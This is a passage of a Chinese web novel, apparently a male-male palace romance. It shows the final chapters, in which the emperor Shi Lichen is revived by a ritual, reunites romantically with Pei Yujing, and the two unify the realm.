裴郁璟只感索然无味。他已站在权利的最顶峰,照理说,他应选择南晋做国都,但他讨厌南晋不是一日两日,自然不选。 所以打下月商后,他就待在了月商。 也有大臣建议迁都,这天下刚平,迁都劳民费时又费财,左右就是个住的地方,就在月商待着吧。 站在这里他心里有种说不出的感受。 尚未整修的月商内廷,处处都带着‘他’的痕迹。 几个乱七八糟放在架子上的鲁班锁,挂在墙上的金弓,坠在床头的血红珊瑚珠,就连残留的熏香也都是‘他’的气息。 裴郁璟在东宫,在御书房,找到了‘他’的字。 一笔一划漂亮如画,笔锋如游龙,可以想象到提笔之人是何等风采。裴郁璟有时会拿自己的字去比,不比不知道,一比划简直惨不忍睹。 这些东西他没丢,也不知处于什么心态,自己找了个箱子搜罗了起来。 新朝才立,平日繁忙。可闲暇之后,他的乐趣便是研究这些东西,也会看一看前朝月商帝写的策论。 随着这些文字。 他好像陪着月商帝一起,从风雪走到春和,从孩提走到年少,从无知无识走到满腹计谋,机关算尽。 啊! 他怎么就死了呢。 裴郁璟摩挲着纸张,五味杂陈,经过岁月的沉淀,他已经没有当初被推动戏耍的憋闷,反倒生出一股别样心绪滋味。 怎么就死了呢。 叫他只能坐在那里,绞尽脑汁的苦苦去琢磨,去揣测一个已经被烧成灰烬之人的心思。 直到他找到御书房密室,在里面看到少许余留的,未来得及销毁的密旨。或者也是月商帝刻意留下的。 裴郁璟在里面枯坐一夜。 他窥见了冰山一角,却在瞬间明白了月商帝的心思。 一件月商帝生前一直在办的一件事——为这腐朽的江山,钦定下一位继承者,引导他成为合格的,狠辣与慈悲共存的帝王。 愤怒涌上,他怒撕了两张圣旨。 在天光微亮时,来不及收拾阴着脸去上朝。 上完朝,乾元大帝冷静了许多,瞥见御花园盛开的山茶花,他脚步微顿,凝视半响,忽而嗤了一声,咬牙切齿地冷道:“真是坏透了,又恩将仇报。” 留了那么多双眼睛。 但他读懂了山茶花的寄语——坚守,绽放,永恒。 漂亮的山茶花,要世道太平稳固,要帝王恩威并施,更要合他心意。 山茶花安排好了所有,故此,裴郁璟知道,永远会有一双眼睛在暗处盯着他,监督他,警示他——做明君。 所以那些紧缠着的,丝丝缕缕的线其实并没有散去。 甚至都不隐藏,光明正大的摆在他面前。 妄为!胆大!他一怒之下,怒了一下。当场宣召柳清宁,以山茶花为景,要他画一幅月商帝的画像。 柳清宁摸不透乾元帝是什么心思,默默地画了画像。不过死物终究是死物,最多三分相似。 画完画的柳清宁被赶走。 一向古板认真的柳清宁也被乾元帝的操作弄得摸不着头脑,在宫门难得变了脸色,皱眉骂了句:“莫名其妙。” …… 后来的后来。 在夜深人静时。 裴郁璟沉默地站在月光下,手里捏着几张御纸。 朱红的笔迹已然有些褪色。可谁叫他读出来了,就要用余生去偿,那是山茶花留给他的寄望。 不过,那也是他的愿望。 第110章 月照观星台。 此处好似成了古老的祭坛。 赤色阵法虚影浮动。 随着时间推移,虚影渐晃,雪白的龟甲逐渐染上血色,逐渐变得深邃,最后成了浓墨一般的玄色。 阵中心。 高大身影黑沉沉地在阵中坐镇,怀里搂着个人,周身带着一股生人勿近的森寒,就连地面投射出的阴影都充满了压迫感,似盘踞在此地守卫宝藏的巨龙。 他低着头,神色藏在阴影中,也完完全全把怀中的圣上笼罩住。此刻,挺阔肩臂成为圣上最舒坦的靠背。 裴郁璟眼尾微垂,将下巴抵在山君的头顶,只需稍稍低头,鼻尖都能埋在山君藻丛般松软的发中,嗅到发间里熏香的淡淡气息。 他敛了敛眼掩去眸中暗色,一动不动,屹立不倒。 月华洒来,他带着薄茧的结实大手,正与一双细白修长的手,十指紧扣。两只手色差严重,白得便显得更白更细滑,蜜色的则显得更加粗糙。 本就透着一股病白苍冷之色的双手,被比他大一圈的手掌扣住,手指脱力垂下,宁静中竟然带出一股别样滋味。 甲贝反出月华稀碎的银光,越发显得瘦弱,被红线缠绕着二人的双手,让双方与对方捆绑。 阵法虚影又晃了晃,一层又一层看不见的气流无声划过,直到一声—— “合阵!收!” 话音刚落,虚影得到指令,瞬间涌动,最终落回实处。周遭又恢复了一片寂寥之象。 左宿面色惨白,累得靠在围栏上擦汗,忽觉一阵毛骨悚然。他警觉抬眼,顿时对上一双沉浸在阴影中的,冷戾眼眸:“圣上为什么还没醒?” “……”左宿道:“你别急,再等等。” 裴郁璟嘴角压了压,视线又落回到师离忱身上,眼睛一错不错地盯着,随着时间推移,眉心微折。 “咔——” 摆在二人身前不远处的龟甲,发出一声细微的响动,刹那间引起所有人的注意。 先前还雪白龟甲,这会儿是完全的浓墨玄甲,不断发出‘咔咔’的声音,从背部裂开,重新露出内里原本雪白的颜色。 而裴郁璟低眼,看到他与圣上四只手之间缠绕的红线,正在以一种极为诡异的模样化作尘烟。 见状,左宿松了口气道:“前尘如烟影散,圣上没事了。” 裴郁璟一语不发,只注意着师离忱的情况。直到那双紧闭着的眼眸,眼皮微微一动,长睫轻抖。 …… 眼前先是模糊了会儿,师离忱视线才逐渐聚焦。只是尚未回过神来,他目光呆滞地坐着缓了缓,注意到周边复杂庞大的阵法,以及被紧握着十指相扣的双手。 瞬息间,记忆全部回溯。 同知。 同觉。 不同忆。 …… 一息间,裴郁璟眼眸猝然睁大。师离忱扭过身来,双手捧住他的脸,深深地吻了上来。 如此主动的圣上,难以得见,稀奇非常。裴郁璟呼吸只滞了一瞬,便立刻搂住师离忱腰身,帮圣上调整了个舒服些的姿势,让师离忱跨在他上方坐着,昂首承接着如此热情。 也是相当罕见的,他没有去反客为主,就这样承担来自师离忱浓浓的,压抑的情感。 良久。 师离忱才裴郁璟分开。 吻得太久太深刻,他眼尾已经有了红晕之色,双眸水雾雾地看着裴郁璟,声音有些沙哑:“……九苍。” “嗯。”裴郁璟应了声,抬手覆在师离忱捧着他脸颊,还没撒开的手上,歪头亲了亲,“圣上别怕,我在这。” “我也在这。”左宿咳了两声,“有什么话你们且回去聊,得麻烦你们给我让个位置先。” 黑暗中传来乐福安点燃烛火,左宿面无血色,一头华发成了银霜,声音听起来倒是还有力气:“我得借阵法和月华的余温,回回血,快耗死了。” “……” 二人被打断气氛,起身离开阵法中心,给左宿腾了腾地。怕他真死了,师离忱将乐福安留下来照看帮衬。 或许是一个身子虚得厉害,还是一个姿势保持太久腿麻了,师离忱站都站不稳,没走两步便被裴郁璟一抄腿弯抱起。 师离忱不抗拒,反手搂住裴郁璟的脖子。听着裴郁璟胸腔强有力的心跳,他轻声问:“怎么什么都不问朕?” 上首并未回答,师离忱感受到对方沉着的气息,笑了笑,没有再追问,安心地更靠近了些。 一路快步回到紫宸殿。 就这样维持着沉默。 裴郁璟仔细地帮师离忱进行了梳洗,擦干滑落的水滴,用内力烘干圣上的每一缕发丝。 直到吹灭了灯。 师离忱忽然道:“九苍,朕还是想亲你。” 温热地气息靠近,裴郁璟在师离忱嘴角轻轻落下一个吻,轻哄道:“山君今日累了,有话明日说好不好?” 师离忱不满地皱眉,“不好。你为何不和先前一样亲朕?” 先前裴郁璟凶得仿佛恨不得将他吞进肚子里,这会儿倒是装起矜持来了,别以为他不知道这厮肚子里是什么货色。 手腕被一只大掌擒着,按在了正在跳动地胸腔上。“因为这里,涨涨的,酸酸的。”裴郁璟声音沉哑,“是同知。是它让我知道,山君曾在我不知情时,悦我,怜我,疼我。” 那样汹涌的,被压抑的情感,被掩藏在冷漠之中,隐藏在不为人知的角落里。让他心口膨胀,刺痛。 而在阵法里,他有时突然感知到的疼痛,也让他明白,他的山君曾受过什么样的苦难。 怎么就这样忍耐着呢。 他心疼。 爱。欲。与疼惜共存,他几乎要发疯了。这时,下唇忽地被不轻不重地啃了一口,打断了裴郁璟的思绪。 一双手环过来,一下子搂紧了他。师离忱用唇若有若无地蹭着裴郁璟的喉结,气息撩拨,喉结如滚珠般滑了滑。 “……” 半晌。 被衾猛地动了动,衣料簌簌滑动,裴郁璟翻身压上,双臂支撑在师离忱上方,嗓音已然变得暗哑:“……别闹。” 师离忱神色如餮足得逞的猫儿般,哼笑道:“还假正经。抵着朕的是什么?暗器吗?唔——” 他的嘴被堵上了,被撬开唇齿,狠狠地攻城略地。 片刻后,才缓缓分开。 师离忱气息不匀,双唇微张,缓了两口气息,才慢悠悠道:“别想那么多,朕都不难过,你难过什么。” 他一手抚着裴郁璟后颈,一路往下摸了摸背嵴以示安抚,“好啦,好啦,九苍,朕好端端的还在这呢。” 聪明的圣上,一眼看穿了九苍的悲伤。裴郁璟把脸埋在了师离忱肩窝,高挺鼻梁蹭了蹭冰肌,闭目长吁一气。 良久,他道:“……我真是要疯了。”嗅着师离忱的气息,他心口仿佛才有那么一点点安定。 从一开始就感受到裴郁璟的不安,惶然,师离忱一言不发地拍着裴郁璟的后背,歪了歪头将脸侧贴在裴郁璟的发顶。 而有些人得到了安抚,心绪随着时间流逝平静,可膨胀的欲没有,于是搂着山君的动作便开始逐渐变味……直到重重一嘬。 师离忱:“……” 啧。他就知道。 死性不改!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第111章【全文完结】 第111章 翌日。 左宿来到紫宸殿,续命蛊化解后还有些事要交代。 才至殿前,殿中并无旁人,师离忱披着件单衣,手里拿着一份奏折,浅笑与身旁的裴郁瑾小声说话。 察觉来人,师离忱停止话头,转眸望向殿前,唇角笑意未散道:“昨日想必是很辛苦,大巫瞧着老了许多。” 门前。 本该年少风华的人,一头青丝半百,脸庞也变成熟了许多,简直一夜催熟。左宿注意到视线,摸了摸鬓边黑白交杂的发须,砸吧着嘴道:“还好趁机回了点血,不然我年纪轻轻相貌堂堂却一头白发,多显老啊。哦对了,续命蛊化解以后感觉怎么样?记忆可还混乱?” 自从在阵中醒来后,师离忱身体明显感觉到轻快了,大脑里朦胧的雾被完全拨开。 唯一难受的是醒来后那股浑身难言的疲惫脱力感,让他没能维持精力和九苍继续多说些话,好好讲讲从前的事,便匆匆睡去。 今早起来又得先处理大理寺加急呈送上来的“火油案”进展…… 这会经提醒,师离忱才猛然发现,不仅仅是身子松快了那么简单,那股尖锐的,一直在吵闹的,束缚着他的声音也消失了,他自由了。 殿中静默须臾。 师离忱神色平静,眼中闪过一丝茫然道:“朕的困扰似乎消失了。”恼人的系统不见了。 或者说,它自从晋陵水患之后便没有在出现,只预留下细杂的响动,和密密麻麻刺骨的疼。 左宿道:“圣上,那是您的执念。” 师离忱疑惑:“……执念?” 左宿笑眯眯地恰了一口茶水,道:“帝星命格不容旁人搅乱,圣上曾走过的条死路,执念会让您继续走下去。如今化解了死星格局,又解了蛊,自然就消失了。” 他解释道,“续命蛊虽难得,却是一把双刃剑。它会承担起您记忆里最深处的执念,会促使您去完成那份执念。一旦选择违背,它就会发作,发狂。” 而师离忱初来时,尚未恢复记忆,或者说是两世的记忆在打架。他自身带了一身反骨,哪怕是来自执念的声音,也不愿意听从。 他的意识,在最合理的范围内,把蛊虫的声音变成了他能够接受的系统声,变成他最讨厌的命令。 “……” 良久。 师离忱倏地笑出声,侧目与裴郁璟对视道:“难怪朕几次三番杀不了你。”世上哪有什么铜墙铁壁之人啊。 那是他的执念和他的行为在打架。 执念让他护着裴郁璟。 他的行动在反驳执念,但他的潜意识让他在杀裴郁璟的路上,做出一些偏差的选择。 比如初见的那一箭。 预测到出来的风向,会带来箭矢的偏移。 不知想到了什么场面,裴郁璟唇角弯了弯,深邃地眼眸盯着师离忱,眉梢微挑带了些得意道:“我就知道,你不想杀我。” 二人对视,看得左宿牙酸,他道:“好了好了,该说的我都说了,蛊虫化解以后的路你们该自己走。同觉醒来即消,只是同知还有残留,大概还有半月左右才会彻底散去……至此此劫已过,还望圣上日后珍重。” “且慢,朕还有一事。”师离忱叫住要离开的左宿,迟疑道:“朕曾在另一个世界过了半生……那应当不会是假的?” 左宿耸了耸肩,撇嘴道:“大千世界,无奇不有。谁知道呢老天爷是怎么安排的呢,我能做的该做的都做完了,其余……嘘,天机不可说。” 他掐了掐指头,笑看二人道:“紫薇共治,双帝并临。不错不错,二位缘分且深着呢。” 师离忱习惯他爱打哑谜的性子了,摆摆手送别左宿,叫乐福安给他塞了点他最喜欢的产物——黄金。 …… 殿内重新静了下来。 裴郁璟遽然从身后搂住师离忱,将人抱在腿上坐着,下巴搭在师离忱肩头,垂着眼嗓音低低道:“山君,为什么我没能有上一生的记忆。我如果能看见就好了。” 听他声音里的失落,师离忱笑了笑,“左宿说过,我们从来没变过,只是重头再来。从一开始,朕喜欢的就是你,你的心——” 他转过身,抬手在裴郁璟胸膛按了按,目光对视间,他轻声道:“九苍,感觉到了吗。” 看着神色认真的师离忱,裴郁璟瞳孔颤了颤。 心口一下一下的跳,跳得剧烈,那些炙热的情感与爱意,把所有空洞与失落完全灌。满。 师离忱眼前一晃,唇倏地被封住,他抖了抖眼睫,伸手勾住了裴郁璟的后颈,迎合上去。 直到气息不稳他往后退了退,然则脑后扣来一只大手将他定住。师离忱难耐地昂了昂下颌,给了裴郁璟机会,愈发穷追不舍地缠住他的唇舌。 “……” 缠得太厉害了,还有事要办。师离忱忍无可忍五指穿进裴郁璟发根,微微用力拽了拽,这才分开。 裴郁璟餮足的长吁一气,还是熟悉的感觉。 这下是彻底满足了,那一丝患得患失,终究是烟消云散。 * 月祭夜的火油案破除并不费力。 确认所有证据充足,已摸清鞑靼在月商的所有线索,师离忱打算一击致命,将其完全捣毁。 而且记忆融合以后,处理这些事情更加简单了,天下统一过一回,要重新整合也不过是再走一遭。 他低头在奏疏旁批阅,问裴郁璟:“你打算先回南晋处理登基,还是先去收复鞑靼?” 同知还在,他也能感觉到裴郁璟的情绪,所以根本无需去征求裴郁璟的意见,左右他都乐意,只是先后问题。 裴郁璟嗤道:“南晋没什么好,不过苍蝇多了也烦。我回去一趟,定一定,然后回来做圣上的大将军。” 师离忱笔尖顿了顿,道:“你不打算登基?” 裴郁璟哼哼唧唧地贴过来,低声道:“皇位有什么好,而且我有山君了。山君就要得到最好的,把南晋定了,到时候统一也方便。” 他语气说着简单,师离忱却明白其中辛苦。他亲了亲裴郁璟脸颊,“你这一去,一年半载恐怕回不来。” “……”裴郁璟眼眸微眯,低笑道:“那山君要补偿我吗?”他叼着师离忱的耳垂狎昵地轻咬,含糊道:“还没分别呢……我已经在想你了。你也是。” 师离忱:“……” 裴郁璟脸上挨了一个巴掌印,喜滋滋地出了紫宸殿。当然,他得到了圣上关于补偿的承诺,否则怎会如此轻易善罢甘休。 …… 帝王的爱意从来不加掩饰,不曾隐藏。师离忱也不需要隐藏,召集内阁前来,打算把裴郁璟派去攻打鞑靼的事简单交代了两句。 内阁反对声激烈,只可惜反对无效。师离忱给裴郁璟捏了个身份,名带京都裴氏大公子的身份去的边关。 剩下的,就靠裴郁璟自个慢慢树立,他知道该怎么做。 柳清宁从始至终一言不发,内阁会议散去后,被留至御前拟旨。 师离忱问:“方才他们吵闹时,你怎不反对朕的意思?” 柳清宁俯首,笔在圣旨上并未停顿,轻声道:“圣上自登基后,所下旨意从未出错,圣上信他,那他便是可信该信之人。即使他不可信,圣上也会有后手处置他,清宁自是遵从圣上的所有决定。” 案上炉烟散去,露出他清朗眉目。 沉寂片刻后。 柳清宁听见殿中响起圣上变得温和的声线,“朕似乎,有许久没去惟一墓前看过了,不知他是否会怪罪于朕。” “……”柳清宁倏然睁大眼眸,猛地止住笔画,顾不得礼节抬首看向师离忱,“圣上都记起来了?” 他嗓音有些颤抖,笑也不是,哭也不是,最后叹了声道:“只要圣上安康,惟一自然不会怪您。他天性开朗,只会在背后嘀咕圣上小气,不给他送酒喝。” 师离忱笑了笑,“改日我随你去,去给许惟一扫扫墓。” 柳清宁微微颔首。乐福安进殿给二人奉茶,闻言笑道:“还是柳大人心细,原来早发觉圣上记忆有失。” 柳清宁道:“臣在圣上身边伴读多年,不敢揣测圣心。只是圣上从前每年都会去惟一墓前走一趟,这两年却歇了只字不提,瞧臣的眼神又陌生,臣才有如此猜想。” 乐福安也笑道:“柳大人快别提了。圣上刚登基那会儿,奴才还以为有人冒充圣上呢。后来试了两回,圣上习惯脾性和从前一致,谈吐字迹也无不同,才确认圣上只是记忆有失,左右不影响圣上身体康健,奴才便没声张。” 师离忱没想到这两人都瞧出端倪了,他摩挲着下颌,嘟囔道:“朕还以为藏得很好。” 乐福安与柳清宁相视一笑,连连向师离忱告罪。调笑之意明显,恍惚间如回到东宫做太子的日子。 师离忱轻哼一声,摆摆手并未与二人计较,待拟完了旨,便着手准备颁布。 与此同时。 大理寺与监察司,已将捣毁的鞑靼义庄,抓获的一干或明或暗的探子,将其公之于众,引起民愤,造成轩然大波。 南晋探子见风向不妙,准备要逃。 却被另一波人围追堵截。为首黑衣暗卫腰间悬挂一字“秋”,阴恻恻道:“都想去哪儿?” * 两日后。 师离忱根本起不来去送裴郁璟,腰酸得厉害。裴郁璟也没打算让师离忱送,天光未亮他就起了,起得早还有空给师离忱揉一揉腰。 “要走了吗?”师离忱声音沙哑,连睁眼的力气也没,道:“路上小心些,早些回来,我在这等你。” 裴郁璟低低“嗯”了声,不舍地亲了亲师离忱的眉心,“等我。” 当然,他并未空着手走,他舍不得,于是把边上属于师离忱的贴身里衣给塞进怀里带走了。 …… 昨夜闹得太晚,师离忱彻底醒来时,已经过了晌午。 乐福安进来侍奉圣上洗漱,旁边寻了半天,发出一声“咦”的诧异之声。他蹙眉问:“怎么了?” 宫人不敢隐瞒,如实道:“圣上换下的里衣不见了。” 师离忱:“……” 大概猜到去哪儿了。他闭了闭眼,捏着鼻梁道:“不必管了,找不到就找不到吧。” “喏。”宫人诚惶诚恐地退下。 * 一切事态如常,有条不紊的推进。 师离忱每日都能收到裴郁璟传回的信笺,偶尔会记录沿途的风景,大部分的信都是大段大段表达思念之情的情话,看得师离忱嘴角上扬。 这人打小被养在南晋边关,鲜少被文人所教,字写得还算过得去,可用词却简单粗暴许多,很是露骨。 有一回他看到一半,有急事处理便先放置一旁,乐福安前来收拾瞥了一眼。 这位年过半百的老太监,什么没见过,却硬是羞红了脸,连连声怒骂裴郁璟“冒犯圣上”“成何体统”,好一会才消气。 除了这些,里面还会夹一些事情的进展。 约莫三个月后。 师离忱收到南晋内乱平息,皇子因内斗死伤近绝,只剩南晋为质的七皇子,七皇子为平乱立下汗马功劳,本是登基最佳人选。 可老皇帝驾崩前,南晋仇家,仇将军翻案,去南晋为质的七皇子实则为仇家遗腹子。 七皇子非皇室血脉只能就此作罢,七皇子恢复仇姓,被奉为摄政王。与内阁商议过后,宗室过继了一名小儿登基。 南晋暂时稳定了下来。 算着时机大概成熟,裴郁璟来信告知已到月商边关,师离忱便开始针对鞑靼发出进攻的号角。 自此。 战争彻底拉开序幕。 京都也没闲着,师离忱先前所安排明工坊制造的弩器,以及一些新奇的兵刃打造出来,完全利用在战场上,将伤亡将至最低。 加上有九苍这么个悍将在前,一切势如破竹,捷报一封一封的传回来。 只用四个月,便完全将鞑靼扫荡干净。 师离忱嘀咕道:“比之前缩短了两月的时间。”他记得,之前裴郁璟率领南晋军队攻打鞑靼时,用了近乎半年多。 他看着枝头上飞来的鸟儿,神色有些恍惚。他也有半年多没和九苍见面了……哪怕是通信,信在路上也有时间差别,他 不能随时就和九苍联系上。寄出去的信问候的话总要许久才能得到答案。 师离忱将思念化作了一声叹息。 …… 鞑靼被平乱后,他传了圣旨,正式授予裴郁璟封号武安大将军。 封号到边关的第二日,大将军便在军中发现了南晋卧底,消息传回京中,圣上震怒,命起整顿军务,向南晋发起问候,连带半年前月祭夜的火油案一并问罪。 南晋:“……” 南晋内阁完全一脸茫然。 啊? 都什么时候的事? 有谁知道? 谁来说说? 还没等南晋弄懂事情来由,大军便压至边关。 战争还在继续。 充足的钱粮,让月商毫无后顾之忧。一路高歌猛进,直至月商军队攻打至南晋皇城下,看到率领军队前,那张熟悉的脸…… “……” 将南晋打下后,师离忱并未让裴郁璟即刻回朝,而是先进行一番整顿,确切的,把控住南晋的所有朝政后,才下令回京都,确立天下一统。 * 一年后。 正是冬时。 大雪飞扬。 天下一统,月商大捷,班师回朝。 师离忱今日穿了一身赤色系的曳地宽袍,衣襟带了一层毛领遮风,鲜红明亮。站在城头之上,远远看到裴郁璟骑马在最前方,玄甲披身,神威非常。风沙在他脸上留下了些许痕迹,沉淀了气息,眉眼压着眼神带着冷戾的锐利感。 察觉到师离忱的视线,裴郁璟倏然抬眼,目光牢牢锁定在他身上,唇角扬了扬,眸子微安,周身压迫感顿时散去不少。 他扭头,与身旁的随军打了声招呼,先驾马一骑绝尘地跑马往前,如一道流利的风。 师离忱霎时笑了,提着衣裾同样奔赴,藻丛般乌发飞扬。乐福安在后头道:“哎,圣上,慢点跑!” 他充耳不闻,一路往前。 石阶上,与堪堪翻身落地的裴郁璟遇上,师离忱眼梢弯了弯,道:“九苍,接住朕。” 裴郁璟张开双臂,接住了扑来的至宝,他鼻尖埋在圣上毛茸茸的领子上,嗅到雪花与淡淡熏香交杂的味道,眼眶微润,爱意此刻填满胸腔。 独属于他的。 鲜红的。 山茶花。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m